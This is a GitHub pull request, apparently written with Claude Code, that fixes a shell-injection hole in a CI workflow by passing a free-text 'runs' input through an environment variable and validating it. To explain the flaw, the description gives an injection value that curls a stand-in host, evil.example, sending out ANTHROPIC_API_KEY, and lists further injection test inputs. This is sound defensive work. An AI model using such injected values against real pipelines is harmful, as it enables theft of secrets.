Repository navigation
fix(ci): stop shell injection through the routing-evals runs input - #40
Merged
Merged
Conversation
The workflow_dispatch input `runs` was pasted into the run: script with
${{ inputs.runs }}, so text typed into it ran as shell in a job that holds
ANTHROPIC_API_KEY. Pass it through an env var, accept only 1-99, and make
the input a number field.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Merged
✅ Snyk checks have passed. No issues have been found so far.
💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse. |
🔒 Security Scan Results
⏱️ SLA Breach Summary
✅ BUILD PASSED - All security checks passed |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fix for the script injection flagged on line 40 of
.github/workflows/routing-evals.ymlin #34 (Release 0.4.3). This PR targetsnext, so merging it puts the fix into the release.The problem
--runs ${{ inputs.runs || '1' }} -j 6 --max-cost-usd 40runsis a free-textworkflow_dispatchinput. GitHub replaces${{ }}in the script before bash runs it, so a value like3; curl https://evil.example?k=$ANTHROPIC_API_KEYruns as a second command in a job that hasANTHROPIC_API_KEYin its env. Only people with write access can dispatch the workflow, and onpull_requestruns the input is empty, so the exposure is narrow, but it is the pattern scanners flag (GitHub guidance).The fix
RUNSand is used as"$RUNS", so its text is never parsed as shell.RUNSis a whole number from 1 to 99.type: number(default3), so the Run workflow form only takes numbers.pull_requestruns still use 1 run per case, and a manual dispatch still defaults to 3.Checked
node scripts/validate.mjs: 34 skills and 7 manifests valid (0.4.3).type,envandrunblock.bash --noprofile --norc -eo pipefail(the Actions shell) allows1,3,99and blocks0,100, empty,-1,3.5,3; echo PWNED,$(echo PWNED), a backtick command,3 && curl x, and a value with a newline.skills/**orevals/**changes, or by manual dispatch.🤖 Generated with Claude Code